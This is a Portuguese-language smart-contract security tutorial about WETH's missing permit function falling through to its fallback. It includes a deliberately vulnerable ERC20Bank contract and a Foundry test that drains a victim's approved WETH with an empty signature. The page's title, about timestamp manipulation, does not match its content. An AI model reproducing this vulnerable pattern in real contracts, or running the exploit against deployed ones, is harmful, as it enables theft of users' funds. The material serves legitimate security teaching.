Manipulação do Bloco Timestamp

# Manipulação do Bloco Timestamp

Vulnerabilidade

A maioria dos ERC20 tem a função permit para aprovar um gastador se for fornecida uma assinatura válida.

No entanto, o WETH não tem. Surpreendentemente, quando a permit é chamada no WETH, a chamada da função é executada sem nenhum erro.

Isso ocorre porque o fallback dentro do WETH é executado quando a permit é chamada.

Exemplo O usuário 0 executa o depósito do usuário 1.
  1. Alice dá aprovação infinita para que o ERC20Bank gaste WETH
  2. Alice chama o deposit, deposita 1 WETH no ERC20Bank
  3. O atacante chama depositWithPermit, passa uma assinatura vazia e transfere todos os tokens de Alice para o ERC20Bank, creditando o depósito ao atacante.
  4. O atacante retira todos os tokens creditados a ele.
ERC20Bank
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import "./IERC20Permit.sol";

contract ERC20Bank {
    IERC20Permit public immutable token;
    mapping(address => uint256) public balanceOf;

    constructor(address _token) {
        token = IERC20Permit(_token);
    }

    function deposit(uint256 _amount) external {
        token.transferFrom(msg.sender, address(this), _amount);
        balanceOf[msg.sender] += _amount;
    }

    function depositWithPermit(
        address owner,
        address spender,
        uint256 amount,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
        token.permit(owner, spender, amount, deadline, v, r, s);
        token.transferFrom(owner, address(this), amount);
        balanceOf[spender] += amount;
    }

    function withdraw(uint256 _amount) external {
        balanceOf[msg.sender] -= _amount;
        token.transfer(msg.sender, _amount);
    }
}
Exploração
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {Test, console2} from "forge-std/Test.sol";
import {WETH} from "../src/WETH.sol";
import {ERC20Bank} from "../src/ERC20Bank.sol";

contract ERC20BankExploitTest is Test {
    WETH private weth;
    ERC20Bank private bank;
    address private constant user = address(11);
    address private constant attacker = address(12);

    function setUp() public {
        weth = new WETH();
        bank = new ERC20Bank(address(weth));

        deal(user, 100 * 1e18);
        vm.startPrank(user);
        weth.deposit{value: 100 * 1e18}();
        weth.approve(address(bank), type(uint256).max);
        bank.deposit(1e18);
        vm.stopPrank();
    }

    function test() public {
        uint256 bal = weth.balanceOf(user);
        vm.startPrank(attacker);
        bank.depositWithPermit(user, attacker, bal, 0, 0, "", "");
        bank.withdraw(bal);
        vm.stopPrank();

        assertEq(weth.balanceOf(user), 0, "WETH balance of user");
        assertEq(
            weth.balanceOf(address(attacker)),
            99 * 1e18,
            "WETH balance of attacker"
        );
    }
}
Outros contratos
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address dst, uint256 amount) external returns (bool);
    function transferFrom(address src, address dst, uint256 amount)
        external
        returns (bool);

    event Transfer(address indexed src, address indexed dst, uint256 amount);
    event Approval(
        address indexed owner, address indexed spender, uint256 amount
    );
}

# Teste no Remix

Last Updated: 23/01/2024 17:50:29